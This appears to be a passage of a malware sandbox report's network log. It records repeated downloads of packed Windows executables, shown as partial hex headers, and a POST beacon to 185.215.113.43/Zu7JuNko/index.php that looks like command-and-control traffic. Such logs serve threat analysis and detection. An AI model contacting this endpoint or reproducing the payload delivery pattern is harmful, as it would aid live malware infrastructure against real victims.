Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:06 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:08 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:17 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:30 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:34 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:52 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:54 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
